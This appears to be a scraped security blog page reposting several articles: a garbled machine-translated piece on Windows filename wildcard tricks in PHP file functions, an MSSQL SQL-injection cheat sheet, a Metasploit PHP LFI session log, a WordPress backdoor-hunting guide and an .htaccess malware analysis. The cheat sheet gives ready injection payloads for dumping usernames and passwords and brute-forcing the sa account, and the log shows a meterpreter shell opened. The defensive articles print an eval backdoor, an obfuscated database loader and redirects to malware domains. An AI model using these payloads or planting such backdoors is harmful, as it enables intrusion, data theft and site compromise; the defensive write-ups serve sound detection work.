Showing posts with label exploit. Show all posts
Showing posts with label exploit. Show all posts
New vulnerabilities to access files in PHP

Some years ago, everything just went crazy from the Error-based MySQL, and unserialize seemed somewhat complicated and do not occur in real life. Now it’s the classic technique. What can we say about dinosaurs such as zero-byte inkludah, which came to replace the file name truncated. Researchers always something to dig up, invent, and in the meantime has come new version of the interpreter, engines, and with them – new bugs developers.
In fact, there are three methods to find vulnerabilities: Savvy (when a researcher comes up with some trick and check if it works in practice), source code analysis and fuzzing. On an interesting Chinese fuzzingand its development from my side I want to tell.


Fuzzing – is not only a valuable fur …


t all started with the fact that Google has ordered the issuance of longer remember which request and showed the website in Chinese: http://code.google.com/p/pasc2at/wiki/SimplifiedChinese , where it was collected many interesting finds Chinese fazzerov. Interestingly, in the list were very fresh discoveries, which have just been published in articles. Among them was found and attracted my attention to the code as follows:

<?php for($i=0;$i<255;$i++) { 
$url = '1.ph'.chr($i); 
$tmp = @file_get_contents($url); 
if(!empty($tmp)) echo chr($i)."\r\n"; 

} 
?>
 


He drew me, because I did not understand the meaning, but made out in the description of the familiar characters «win32»:).Translate the Chinese characters were strangely entertaining even with google.translate, so I stupidly run this code under Windows, and looked at the result. Imagine my surprise when I found that file in windsurfing have existed for at least 4 Name: 1.phP, 1.php, 1.ph>, 1.ph <. Now the Chinese writing system does not seem to me so far, and Google's translator helped to understand its meaning. Actually, in this same "sense" was nothing more than a description of the code and the result of his work.Not that not a lot - not at all! This situation does not suit me. I still do not understand these Chinese people - really they are not interested to understand which features more vulnerable, what features it has a bug in the operation, and finally, why is it all work?

Demand the continuation of the banquet!


The first thing I added a second iterator and run code with fuzzing is already in the last two bytes. The results were predictable:
1.p <0 (null byte at the end) 1.p <(gap at the end) 1.p <"1.p <. 1.p <<1.p>> 1.p <> 1.p> <1.p <(p / P) 1.p> (p / P) 1.p (h / H) <1.p (h / H)> 1.p (h / H) (p / P)

Hence, clearly were showing patterns – at the end of the file name could go symbols: point, double quote, space, zero-byte. To test this hunch, I ran the following code:

<?php if (file_get_contents("test.php".str_repeat("\"",10).str_repeat(" ",10).str_repeat(".",10))) echo 1337; ?>


As you might guess, he returned in 1337, that is, everything works as predicted. This in itself was already expanding on the characters of popular vulnerability, an alternative zero-byte at inkludah. After continued harassment of the interpreter were found design file name with slashes at the ends, which also were read without problems:

file\./.\. file////. file\\\. file\\.//\/\/\/.


I think everything is clear here: if you use forward slashes after the file name, then at the end must always stand point. In this case, the slashes can mix, and between them you can stick in one spot.
In all of this was unclear importantly – what is hidden from the characters <and>?

Great and mighty WINAPI


How can I quickly became clear, fuzzing the nature of this error will not understand. Had two choices: watch sortsy or trace calls.Both of these methods fairly quickly pointed to the same thing – call to FindFirstFile. In this case, the call stack has been held with the replacement character> on?, A <to *, double quote is replaced by a point. Also a lot of fun was to notice that, despite the change, <not always work as * in the mask file, but <is always good rehearsed. In this case, the stack both calls were completely identical, but gave different results (see figure). Now it is completely clear where legs grow. And his feet did grow from K named MS.


MSDN Use


Now it was necessary to understand whether such behavior is a function FindFirstFile normal, or is there is a bug. Seek an answer to this question I started with the documentation: msdn.microsoft.com/en-us/library/aa364418 (V = VS.85). aspx .
In the most documentation said nothing about the character> “”, but here in the comments …
Bug?!
The characters of ‘<’ and ‘>’ are treated like wildcard by this function.

[MSFT] – these are listed in the Naming A File topic as illegal characters in path and file names. That topic is being updated to make this clearer.
History

10/19/2007
xMartian

5/2/2008
Mark Amos – MSFT

That is, this bug was known back in 2007! And the answer is generally the manufacturer shook their content … No comment:). On this, like, it finally became clear reason for such behavior PHP. Could begin to expand the scope of this bug. After trying various options, re-reading a bunch of documentation (MSDN, and really very useful) and tested hundreds of ideas, I found a set of rules that work for file names in the WIN-systems. And a bug in the FindFirstFile contributes only to the first four of them (the zero point is not counted). Also, looking ahead, I will say that the vulnerability is not only a function file_get_contents:
  1. * And? do not work in file names when calling FindFirstFile through PHP (filtered).
  2. < Character is replaced with a call to FindFirstFile *, ie, mask any number of any characters. In this case, were found instances where it works properly (see picture). To ensure the mask should be used * <.
    Example: include (‘Shell <’) connects a file shell *, and if the mask gets more than one file, then connect the one that is earlier in alphabetical order.
  3. > Symbol is replaced by a call to FindFirstFile?, That is one symbol.
    Example : include (‘shell.p> p’) connects a file shell.p? p, and if the mask gets more than one file, then connect the one that is earlier in alphabetical order.
  4. Symbol is replaced by a call to the FindFirstFile point.
    Example: include (‘Shell “PHP’) is equivalent to include (‘shell.php’).
  5. If the first character in the filename point, then read the file can be named without regard to this point.
    Example: fopen (“htaccess”) is equivalent to fopen (“. htaccess”), while more complex, true with claim 1, fopen («h <<»). Since the file name the second letter” a “, then alphabetically He is likely to be the first.
  6. At the end of the file names you can use a sequence of slashes the same or different species (forward and reverse), among which you can put a single point, and in the end must always stand point, and not, as the real thing.
    Example: fopen (“”)
  7. You can use the network names that begin with \ \, followed by a any character except the point. This is obvious and has long been known to all. Supple only that if the network name does not exist, then the file operation goes the extra 4 seconds, which contributes to the expiration of the time and error max_execution_time (see the article “ Gyulchataj, open face “). Also, it allows you to bypass allow_url_fopen = Off and make RFI.
    Example: include (‘\ \ evilserver \ shell.php’)
  8. You can use the extended names starting with \ \. \, Which gives the ability to switch between the disks in the file name.
    Example: include (‘\ \. \ C: \ My \ file.php \ .. \ .. \ .. \ D: \ anotherfile.php’).
  9. You can use an alternative name syntax disk to bypass filtering slashes.
    Example: file_get_contents (‘C: Boot.ini’) is equivalent to file_get_contents (‘C: / boot.ini’)
  10. You can use the short DOS-compatible file names and directories. This is a dupe, do not argue. But draw your attention that if a directory is more than four files with names shorter than three characters, these names will be supplemented by four hex characters. Similarly, will change the file name in the directory are more than four files whose names begin with the same first two letters.
    Quote:
    Specifically, if more than four files use the same six-character root, additional file names are created by combining the first two characters of the file name with a four-character hash code and then appending a unique designator. A directory could have files named MYFAVO ~ 1.DOC, MYFAVO ~ 2.DOC, MYFAVO ~ 3.DOC, and MYFAVO ~ 4.DOC.Additional files with this root could be named MY3140 ~ 1.DOC, MY40C7 ~ 1.DOC, and MYEACC ~ 1.DOC.

    Example: in.conf a DOS name IND763 ~ 1.CON, that is, it is possible to read stitch file_get_contents (‘<<D763 <<’), which does not contain any bytes from this file name! How are these four Hex characters never said, but they seem to depend only on the file name.
  11. In PHP on the command line environment (not mod_php, as php.exe) runs specific files with reserved names aux, con, prn, com1-9, lpt1-9.
    Example: file_get_contents (‘C: / tmp / con.jpg’) will be endlessly read from the device CON null bytes, waiting for EOF.
    Example: file_put_contents (‘C: / tmp / con.jpg’, Chr (0×07)) pisknet speaker server (music:)).

I advise you to cut out all the items in a frame and hang in a prominent place. Over will not:).
Play Counting

Chinese believe in the caption under the fuzzing that the vulnerability only applies to file_get_contents, I just could not, though, because few could remember the source PHP. Without thinking twice, I checked all the functions that are thought about working with files. The results were more than positive.
The vulnerability is present in the functions:

fopen file_get_contents copy parse_ini_file readfile file_put_contents mkdir tempnam touch move_uploaded_file include(_once) require(_once) ZipArchive::open()


Not listed in:

rename unlink rmdir 


There where carousing, is not it? But it’s not so bad.
PoC: the idea of ​​using

It is obvious that this vulnerability could be used to bypass all possible filters and restrictions. For example, for the file. Htaccess, an alternative name will h <<(see section 4, p.1). Two-character files can be read without a name (see p.9).. And so on. There is another, no less an interesting application – Define names of folders and files.
Consider this example:

<?php file_get_contents("/images/".$_GET['a'].".jpg"); ?>


With this code, you can easily get a list of web server directories.
Sends a request to test.php? A =.. / a <% 00 and get an answer form

Warning: include(/images/../a<) [function.include]: failed to open stream: Invalid argument in ...


or


Warning: include(/images/../a<) [function.include]: failed to open stream: Permission denied ...


In the first case, the server has not found any directory beginning with the letter “a” in the root, the second – has found.
Then you can start the selection of the second letter and so on. To speed up you can use phonetics (see “Faster, higher and faster again. revolutionary approach to manual SQL-injection” ). Works good old-fashioned technique of exploitation of blind SQL injection.
During the experiments it was observed that sometimes the server just gives the path found in the error message. Then pick only have if the directory starts with the same symbol. What determines the output errors, I have not had time to sort things out and leave it to the public.
Digression

It is gratifying to note that the report from the Chinese and found the magician, who published it, among others, in the article“Little-known methods of attacks on web-application” yet on April 19, but the explanations and an emphasis on the vulnerability was not there, there was only the Chinese sample, from which I began.
Morality

Frankly, very much like to find an alternative to the null-byte, but in vain. But this vulnerability opens the door for other, equally interesting attacks. In fact, providing search capabilities directory and files over the functions work with files. That in itself is a unique phenomenon. Whatever it was, Respect the Chinese with their fuzzing, but urge both them and all others to explore the raw data obtained in this way. Fuzzing fuzzing, and must think his head.

Source : http://habrahabr.ru/company/xakep/blog/112691/

MSSQL Tips (SQL injection)

1 - Standard SQL injection (not blind)



1.1 - Information gathering




Get server version:
' OR 1 in (select @@version) --

Get server name:
' OR 1 in (select @@servername) --

Get current username:
' OR 1 in (select USER_NAME()) --

Get current database name:
' OR 1 in (select DB_NAME()) --

1.2 - Database structure


MSSQL is a very friendly database... you can get all db structures via normal select. Fist of all you can take the list of databases on the server.
select * from master..sysdatabases

Using an sql injection like:
' or 1 in (select name from master..sysdatabases) --

will show you only the first result. To get all records we need to implement something in sql like the limit keyword on mysql ($XX$ is the row number):
SELECT name FROM master..sysdatabases T1 WHERE ((SELECT COUNT(*) FROM master..sysdatabases T2 WHERE T2.name <= T1.name) = $XX$)

or you can use this way (I know, someone will think 2 top should be enough, but sometimes it gives trouble, with 3 top no... don't ask me why... hey Lame! it's your query!):
SELECT TOP 1 name FROM (SELECT TOP 1 name FROM (SELECT TOP $XX$ name FROM master..sysdatabases ORDER BY name ASC) as foo ORDER by name DESC) as foo ORDER by name DESC

You can test this syntax with ("or 1 in" on the first query will return always the same result, so we will use "or 1 ="):
' or 1 = (SELECT name FROM master..sysdatabases T1 WHERE ((SELECT COUNT(*) FROM master..sysdatabases T2 WHERE T2.name <= T1.name) = $XX$)) --

' or 1 in (SELECT TOP 1 name FROM (SELECT TOP 1 name FROM (SELECT TOP $XX$ name FROM master..sysdatabases ORDER BY name ASC) as foo ORDER by name DESC) as foo ORDER by name DESC)--

To get numeric data we need to convert them to strings and append a non numeric char, otherwise the sql server will do an automatic cast.
' or 1 in (select CONVERT(varchar(255),dbid)+'$' from master..sysdatabases) --

and we can append data to get results faster
' or 1 = (SELECT CONVERT(varchar(255),dbid)+'$'+name FROM master..sysdatabases T1 WHERE ((SELECT COUNT(*) FROM master..sysdatabases T2 WHERE T2.name <= T1.name) = $XX$)) --

Ok, now we have to get the tables name, columns etc. We will work on the current database, but you can access to the others with a double dot syntax, like "master..sysdatabases".
This query will return you all the primary keys of all tables names, column names and column type (string, boolean, int).
SELECT T1.name AS Tablename, T2.name AS Columnname, T2.xtype AS Columntype

FROM sysobjects T1, syscolumns T2 

WHERE (T1.id = T2.id) AND (T1.xtype = 'U' OR T1.xtype = 'V') AND (T2.colid  IN (SELECT keyno FROM sysindexkeys WHERE T1.id = id AND T2.colid = keyno))

and this one will return all non primary keys.
SELECT T1.name AS Tablename, T2.name AS Columnname, T2.xtype AS Columntype

FROM sysobjects T1, syscolumns T2 

WHERE (T1.id = T2.id) AND (T1.xtype = 'U' OR T1.xtype = 'V') AND (T2.colid  NOT IN (SELECT keyno FROM sysindexkeys WHERE T1.id = id AND T2.colid = keyno))

So you can build the database structures using this query:
SELECT  Tablename+'$'+Columnname+'$'+CONVERT(varchar(255),Columntype)

FROM (

SELECT T1.name AS Tablename, T2.name AS Columnname, T2.xtype AS Columntype, T2.id AS id

FROM sysobjects T1 INNER JOIN syscolumns T2 ON T1.id = T2.id

WHERE (

(T1.xtype = 'U' OR T1.xtype = 'V') AND 

(T2.colid IN (

SELECT keyno 

FROM sysindexkeys 

WHERE T1.id = id AND T2.colid = keyno

))

)

) T4

WHERE ((

SELECT COUNT(*)

FROM (

SELECT T7.name AS Tablename, T8.name AS Columnname, T8.xtype AS Columntype, T8.id AS id

FROM sysobjects T7 INNER JOIN syscolumns T8 ON T7.id = T8.id

WHERE (     

(T7.xtype = 'U' OR T7.xtype = 'V') AND 

(T8.colid IN (

SELECT keyno

FROM sysindexkeys

WHERE T7.id = id AND T8.colid = keyno

))

)

) T5

WHERE (CONVERT(varchar(255), T5.id) + T5.columnname <= CONVERT(varchar(255), T4.id) + T4.columnname) 

) = 3

)

or using this (simple) one:
SELECT     CONVERT(varchar(255), T1.name) + '$' + CONVERT(varchar(255), T2.name) + '$' + CONVERT(varchar(255), T2.xtype) AS Expr1

FROM         sysobjects T1 INNER JOIN

syscolumns T2 ON T1.id = T2.id

WHERE     (T1.xtype = 'U' OR

T1.xtype = 'V') AND (T2.colid IN

(SELECT     keyno

FROM          sysindexkeys

WHERE      T1.id = id AND T2.colid = keyno))

Now we can download the primary keys columns ($XX$ is the number of the row) the $ will be the deliminator
' or 1 in ( SELECT TOP 1 pippo FROM(SELECT TOP 1 pippo FROM ( SELECT TOP $XX$ convert(varchar(255),T1.name)+'$'+convert(varchar(255),T2.name)+'$'+convert(varchar(255),T2.xtype) as pippo FROM sysobjects T1 INNER JOIN syscolumns T2 ON T1.id = T2.id WHERE (T1.xtype = 'U' OR T1.xtype = 'V') AND (T2.colid IN (SELECT keyno FROM sysindexkeys WHERE T1.id = id AND T2.colid = keyno)) ORDER BY pippo ASC) as pippo ORDER by pippo DESC) as pippo ORDER by pippo DESC ) --

and the other columns
' or 1 in ( SELECT TOP 1 pippo FROM(SELECT TOP 1 pippo FROM ( SELECT TOP $XX$ convert(varchar(255),T1.name)+'$'+convert(varchar(255),T2.name)+'$'+convert(varchar(255),T2.xtype) as pippo FROM sysobjects T1 INNER JOIN syscolumns T2 ON T1.id = T2.id WHERE (T1.xtype = 'U' OR T1.xtype = 'V') AND (T2.colid NOT IN (SELECT keyno FROM sysindexkeys WHERE T1.id = id AND T2.colid = keyno)) ORDER BY pippo ASC) as pippo ORDER by pippo DESC) as pippo ORDER by pippo DESC ) --

Ok... now you have all the database structure of the current database.


1.3 - Dumping the data




If you have the database structure, it is simple to get the data. For example if we have a table named "users" with primary key "userid" (numeric) and with columns username,userpass,usermail you can get single data with:
' or 1 in (select '$'+convert(varchar(255),username) from users where userid = $XX$) --

' or 1 in (select '$'+convert(varchar(255),userpass) from users where userid = $XX$) --

' or 1 in (select '$'+convert(varchar(255),usermail) from users where userid = $XX$) --

or you can get it on a single query with:
' or 1 in (select '$'+convert(varchar(255),username)+'$'+convert(varchar(255),userpass)+'$'+convert(varchar(255),usermail)from users where userid = $XX$) --

If you wouldn't use a where condition (if you don't know how many record there will be, or if you don't know the primary keys) you can always use the top method as:
' or 1 in ( SELECT TOP 1 pippo FROM(SELECT TOP 1 pippo FROM ( SELECT TOP $XX$ '$'+convert(varchar(255),username)+'$'+convert(varchar(255),userpass)+'$'+convert(varchar(255),usermail) as pippo from users ORDER BY pippo ASC) as pippo ORDER by pippo DESC) as pippo ORDER by pippo DESC ) --

Happy dumping ;)


1.4 - Privilege escalation with OPENROWSET




A query can be done with normal users privileges, but sometimes you need administrator privileges (for example to use xp_cmdshell) or get access to others databases. On SQL SERVER 2000 you can use the OPENROWSET to bruteforce the admin password (on SQL SERVER 2005 it has been disabled by default) with a query like thisone
' or 1 in (select * from OPENROWSET('SQLOLEDB', ''; 'sa'; 'password', 'select 1')) --

If "Login failed for user 'sa'" appears the login is incorrect, otherwise you found the password. With a query like thisone you can get data of other databases:
' or 1 in (select name from OPENROWSET('SQLOLEDB', ''; 'sa'; 'password', 'select name from master..sysusers where uid =0')) --

Remember the escape character in MSSQL is '' so, if you need some ' on the query in the openrowset you need to use them double like:
' or 1 in (select name from OPENROWSET('SQLOLEDB', ''; 'sa'; 'password', 'select name from master..sysusers where uid =''0''')) --

2 - Blind sql injection




Ok, we have seen how simple is to get data on standard sql injection with display error on, now we will try to work on blind sql injection. The sample code of a simple application can be found here. The example does a simple query on the master database table and shows the results. In this application as you can see there is a error catching, so you will never see an error.



First of all you have to identify a way to get different results with injecting your data, for example:
1 and 1=1 --
1 and 1=2 --

Another interesing way can be use sql optimizations to get an error if the last part of the query is correct.
1 and 1 in (select @@version) and 1=1 --
1 and 1 in (select @@version) and 1=2 --

Having this kind of difference between the results gives you a way to work with a blind sql injection. Another way can be using WAIT and similar instructions of the db, but to get the results you will spend a lot of time.

To get the data using this response differences we can use the keyword like:
1 and (1 <= (SELECT COUNT(*) FROM master..sysdatabases WHERE master..sysdatabases.name LIKE 'm%')) --

If the page will return a non blank result the table sysdatabases columns names contains a record that starts with the letter M. Now you can implement a little brute force tool to get all the names.
1 and (1 <= (SELECT COUNT(*) FROM master..sysdatabases WHERE master..sysdatabases.name LIKE 'm%')) --

1 and (1 <= (SELECT COUNT(*) FROM master..sysdatabases WHERE master..sysdatabases.name LIKE 'ma%')) --

1 and (1 <= (SELECT COUNT(*) FROM master..sysdatabases WHERE master..sysdatabases.name LIKE 'mas%')) --

1 and (1 <= (SELECT COUNT(*) FROM master..sysdatabases WHERE master..sysdatabases.name LIKE 'mast%')) --

1 and (1 <= (SELECT COUNT(*) FROM master..sysdatabases WHERE master..sysdatabases.name LIKE 'maste%')) --

1 and (1 <= (SELECT COUNT(*) FROM master..sysdatabases WHERE master..sysdatabases.name LIKE 'master%')) --

The choice of the charset for the bruteforce attack can cause a lot of problems. You will not be sure to get all the data because you don't know what type the data is. By using the stored procedure fn_varbintohexstryou can convert the data in a hex value, so you will know the charset is "abcdef01234567890".
1 AND (1 <= (SELECT COUNT(*) FROM master..sysdatabases WHERE master.dbo.fn_varbintohexstr(CONVERT(varbinary,master..sysdatabases.name)) LIKE '0x6%')) --
1 AND (1 <= (SELECT COUNT(*) FROM master..sysdatabases WHERE master.dbo.fn_varbintohexstr(CONVERT(varbinary,master..sysdatabases.name)) LIKE '0x6d%')) --
1 AND (1 <= (SELECT COUNT(*) FROM master..sysdatabases WHERE master.dbo.fn_varbintohexstr(CONVERT(varbinary,master..sysdatabases.name)) LIKE '0x6d006%')) --
1 AND (1 <= (SELECT COUNT(*) FROM master..sysdatabases WHERE master.dbo.fn_varbintohexstr(CONVERT(varbinary,master..sysdatabases.name)) LIKE '0x6d0061%')) --

As described with the standard sql injection you can get table structures and data. So build your own sql blind bruteforce script.


3 - Compatibility issues




During some pentest I got some strange error on the syntax of the injections, I discovered that there was some compatibilty issues on the software set with sp_dbcmptlevel. To avoid these limits you just need to change the database and work as with blind sql injections.
1' ; use master; select * from OPENROWSET('SQLOLEDB', ''; 'sa'; 'password', 'select 1') --

4 - Escape errors




Some very skilled programmers use some routines to escape the user input to avoid sql injection problems. Some of them escape the ' char with a \ (for example who uses php with a sql server db). He does not know that on mssql the escape is not \ but ''. So you can inject as normal, but you can not use the ' on the query. This can sometimes be a problem. To bypass this limitation you can use SETQUOTED_IDENTIFIER OFF and use " instead of '. Here is an example:
a';SET QUOTED_IDENTIFIER OFF;select * FROM OPENROWSET("SQLOLEDB","";"sa";"password","SELECT 1");--

Metasploit PHP LFI exploit module



Last week I wrote a simple exploit module for Metasploit to attack PHP applications with LFI vulnerabilities.

It uses php://input to inject the code or the webserver logs in other case.

If I had time, I would like to implement some tricks,  like injection PHP code in the SSH logs or the e-mail server logs, but it is not possible by now :)

Note: It is really buggy and the injection may not be successful, depending on the length of the payload. Please remember that PHP limits the size of the POST message and a long payload may be cut. The same problem applies to the log file injection.

msf exploit(handler) > use exploit/unix/webapp/php_lfi
msf exploit(php_lfi) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf exploit(php_lfi) > set RPORT 8181
RPORT => 8181
msf exploit(php_lfi) > set URI /index.php?foo=xxLFIxx
URI => /index.php?foo=xxLFIxx

msf exploit(php_lfi) > set PAYLOAD php/meterpreter/bind_tcp
PAYLOAD => php/meterpreter/bind_tcp
msf exploit(php_lfi) > exploit -z


[*] Started bind handler
[*] Trying generic exploits
[*] Clean LFI injection
[*] Sending stage (31612 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (127.0.0.1:19412 -> 127.0.0.1:4444) at Tue May 24 14:47:29 +0200 2011

C[-] Exploit exception: Interrupt
[*] Session 10 created in the background.
msf exploit(php_lfi) > sessions -i 1
[*] Starting interaction with 1…



meterpreter > ls


Listing: /usr/home/test/cherokee/www
=====================================


Mode              Size  Type  Last modified                   Name
—-              —-  —-  ————-                   —-
100644/rw-r–r–  0     fil   Tue May 10 11:09:39 +0200 2011  foo.php
40755/rwxr-xr-x   512   dir   Tue May 10 10:53:59 +0200 2011  images
100644/rw-r–r–  1795  fil   Tue May 10 10:19:23 +0200 2011  index.html
100644/rw-r–r–  37    fil   Tue May 10 13:52:25 +0200 2011  index.php



meterpreter > sysinfo  
OS          : FreeBSD redphantom.skynet.ct 8.2-RELEASE FreeBSD 8.2-RELEASE #0: Thu Feb 17 02:41:51 UTC 2011     root@mason.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC amd64
Computer    : redphantom.skynet.ct
Meterpreter : php/php  
meterpreter > exit

Source : http://www.shellguardians.com/2011/05/metasploit-php-lfi-exploit-module.html

How to find a backdoor in a hacked WordPress

Originally posted here: http://ottodestruct.com/blog/2009/hacked-wordpress-backdoors/

Over here, Jorge Escobar is writing about how he got hacked with the latest version of WordPress. After some minor back and forth on FriendFeed, I got him to do a search which found a malicious backdoor he might not otherwise have found.

In so doing, it occurred to me that most people don’t keep up with the world of WordPress in the way I do, and so have not seen nearly as many hack attempts. So I figured I’d post my little contribution, and show people how to find hidden backdoors when cleaning up their hacked sites.

Non-technical users can safely ignore this post. :)

What’s a backdoor? Well, when somebody gets into your site, the very first thing that happens is that a backdoor is uploaded and installed. These are designed to allow the hacker to regain access after you find and remove him. Done craftily, these backdoors will often survive an upgrade as well, meaning that you stay vulnerable forever, until you find and clean the site up.

However, let’s be clear here: After you get hacked, the ONLY way to be 100% secure is to restore the entire site to a period before you were hacked, and then upgrade and/or patch whatever hole the hacker used to gain entry. Manual cleanup of a site is risky, because you might miss something. It’s also time-consuming. But, if you don’t have regular backups, you may have no real choice.

First, the obvious stuff:


  • A backdoor is code that has been added to your site.

  • It will most likely be code not in the normal WordPress files. It could be in the theme, it could be in a plugin, it could be in the uploads directory.

  • It will be disguised to seem innocuous, or at least non threatening.

  • It will most likely involve additions to the database.


Let’s go over these individual points one at a time.

Added code


While it’s true that simple “backdoors” often take the form of hidden admin users, generally complex backdoor code is simpler than that. It simply gives the attacker the means to any PHP code they like, usually through the use of the eval command.

A simple example would be this:
eval($_POST['attacker_key']);

This, very simply, executes any PHP code sent to it from a browser.

Of course, they wouldn’t put this code just anywhere… It has to not be that easy to find, and it has to survive a normal WordPress upgrade.

How to hide code


First, we have to consider where we can put our malicious code. A WordPress upgrade deletes a lot of directories. There’s three obvious places:

1. Themes. Good plan, themes survive core updates. However, people tend to edit their themes a lot. Also theme names change around a fair amount, so doing this automatically is difficult.

2. Plugins. Plugins are a good place to hide code. People don’t generally look at them in detail, and many plugins have vulnerabilities of their own that might be exploitable. Some of them even keep some of their directories writable, meaning we can directly upload our backdoor code to there easily, after we gain access.

3. Uploads. Perfect. It’s explicitly designed to be writable. People don’t generally see what’s in the folders, since they’re just looking at the normal interface in WordPress. This is where something like 80% of backdoor codes get put.

The art of disguise


This one is easy.

Step 1: Pick a name that looks harmless.

wp-cache.old. email.bak. wp-content.old.tmp. Something you won’t think of. Remember, it doesn’t have to end with PHP just because it’s got PHP code in it.

Step 2: Hide the code itself.

Except in special circumstances, legitimate code will not use “eval”. But, it happens often enough to be generally considered not harmful in and of itself. So looking for “eval” is not a good way to find malicious code.

However, attackers need to disguise their attacks over the wire as well, to prevent hosts from blocking them. The easy and cheap way to do this is base64 encoding.

Base 64 encoding lets them disguise their commands to their hidden “eval” command to be just a random looking string of letters and numbers. This is usually enough to get by any server filtering. However, this does mean that their code will have one tale-tell thing in it:base64_decode.

Base64_decode (and the similar uudecode) are the main way to find malicious code used today. There’s almost never a good reason to use them. Note the “almost” there, many plugins (notably the venerable Google Sitemap Generator) use base64_decode in legitimate ways. So it’s not exactly a smoking gun, but it is highly questionable for some randomly named file lying around to have that inside it.

Smarter authors realize this, and so have taken steps to hide even that sign…

Database obfuscation


Here’s a bit of code I’ve seen around recently. This code does something really clever. Note that it was heavily obfuscated by including hundreds of line of randomness, hidden in /* PHP comments */. This is why having a text editor with code and syntax coloring can be very handy.

Note, this code was in a file named wp-cache.old in the wp-content/uploads directory. It was included at the end of the wp-config.php (also a file that usually does not get overwritten in an upgrade).
global $wpdb;
$trp_rss=$wpdb->get_var(
"SELECT option_value FROM $wpdb->options WHERE option_name='rss_f541b3abd05e7962fcab37737f40fad8'");
preg_match("!events or a cale\"\;s\:7\:\'(.*?)\'!is",$trp_rss,$trp_m);
$trp_f=create_function("",strrev($trp_m[1]));
$trp_f();


  1. It retrieves a value from the WordPress database.

  2. It pulls a specific section of that value out.

  3. It creates a function to run that value as PHP code.

  4. It runs that function.


Note how it cleverly avoids all the warning signs.

  • Nowhere does it use “eval”.

  • base64 is not visible at all.

  • The function named strrev is used. strrev reverses a string. So the code that it’s pulling out is reversed! So much for looking for “base64_decode”.


The actual value in the database looked like this:
...a bunch of junk here...J3byJXZ"(edoced_46esab(lave

Reverse that. What do you have? Why, it’s our old friends eval and base64_decode. Clever. Searching the files for these two warning signs would have uncovered nothing at all. Searching the database for same would have also shown nothing.

The key it used, BTW (rss_f541b3abd05e7962fcab37737f40fad8) is also designed to be nonthreatening. WordPress itself creates several similar looking keys as part of its RSS feed caching mechanism.

So, break down how this code works.

  1. The hacked wp-config.php code causes an include of a nondescript file, called wp-cache.old.

  2. That code, which does not use any trigger words, loads a nondescript value from the options table.

  3. It performs some string operations on that code, then executes it.

  4. The code in question was the rest of the hack, and did many different things, such as inserting spam links, etc.


Summary


This is the sort of thing you’re up against. If your site got hacked, then there exists a backdoor on your site. Guaranteed. I’ve never seen a hacked WordPress installation that was missing it. Sometimes there’s more than one. You have to check every file, look through every plugin, examine even the database data itself. Hackers will go to extreme lengths to hide their code from you.

And one more thing… before claiming that your WordPress got hacked even despite having the latest code, make sure that it wasn’t actually hacked already, before you put the latest code on there. If you don’t fully clean up after a hack, then you *stay* hacked. It’s not a new hack, it’s the same one.

The latest WordPress (as of this writing) has no known security holes. Claiming that it does when you don’t know that for sure is really not all that helpful. You’re placing the blame in the wrong place. The WordPress team makes the code secure as is possible, and is very fast on patching the security holes that are found, when they’re found. But they can’t patch code that made it onto your site from some other method, can they? Just something to keep in mind.

source : http://ottopress.com/2009/hacked-wordpress-backdoors/

Understanding .htaccess attacks – Part 1

Attackers have been using the .htaccess file for a while. They use this file to hide malware, to redirect search engines to their own sites (think blackhat SEO), and for many other purposes (hide backdoors, inject content, to modify the php.ini values, etc).

Why do they use the .htaccess file? For multiple reasons. First, the .htaccess is a hidden file (starting with a “.”), so some site owners might not find them in their FTP clients. Secondly, it is a powerful file that allows you to make multiple changes to the web server and PHP behavior. This makes a .htaccess the attack hard to find and to clean up.

1- Redirecting users coming from search engines to malware


This is the most simple type of .htaccess attack, and the one we see more often. This is what gets added to the .htaccess file of a hacked site:


RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*ask.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*baidu.* [OR]
..
RewriteCond %{HTTP_REFERER} .*linkedin.* [OR]
RewriteCond %{HTTP_REFERER} .*flickr.*
RewriteRule ^(.*)$ http://villusoftreit.ru/in.cgi?3 [R=301,L]

As you can see, it will check the referrer from anyone visiting the site and if the user came from a Google search (or yahoo or bing or any search engine), it will redirect the user to a page with malware (in this example http://villusoftreit.ru/in.cgi?3). Note that if you type the site directly in the address bar of your browser, nothing will happen. Why? It makes harder for the owner of the site to detect the attack, since they will probably type the site name, and not search for it on Google.

Below is another example of the same attack, but this time redirecting to http://globalpoweringgatheringon.com/in.php?n=30 (one of those Hilary kneber domains). Note that this time, they’v added hundreds of white spaces before the “RewriteCond” to make it harder to see in a text editor (We removed below to make easier to read in the post).
# BEGIN WordPress
RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*bing.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*excite.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*search.yahoo*$ [NC]
RewriteRule .* http://globalpoweringgatheringon.com/in.php?n=30 [R,L]


2 – Redirecting the error pages to malware


This is the second most common type of .htaccess malware. Instead of redirecting all traffic, the attackers are only modifying the error pages to their own domains (even harder to detect). This is what shows up in the .htaccess:
RewriteEngine On
ErrorDocument 400 http://powercrystal.ru/inject/index.php
ErrorDocument 401 http://powercrystal.ru/inject/index.php
ErrorDocument 403 http://powercrystal.ru/inject/index.php
ErrorDocument 404 http://powercrystal.ru/inject/index.php
ErrorDocument 500 http://powercrystal.ru/inject/index.php

Other examples:
ErrorDocument 400 http://arthurlundt.cz.cc/ht_er_docs/
ErrorDocument 403 http://arthurlundt.cz.cc/ht_er_docs/
ErrorDocument 404 http://arthurlundt.cz.cc/ht_er_docs/
ErrorDocument 405 http://arthurlundt.cz.cc/ht_er_docs/
ErrorDocument 404 http://bowdencanton.co.cc/ht_er_docs/
ErrorDocument 405 http://bowdencanton.co.cc/ht_er_docs/
ErrorDocument 406 http://bowdencanton.co.cc/ht_er_docs/
ErrorDocument 400 http://nicomagen.cz.cc/ht_er_docs/
ErrorDocument 403 http://nicomagen.cz.cc/ht_er_docs/
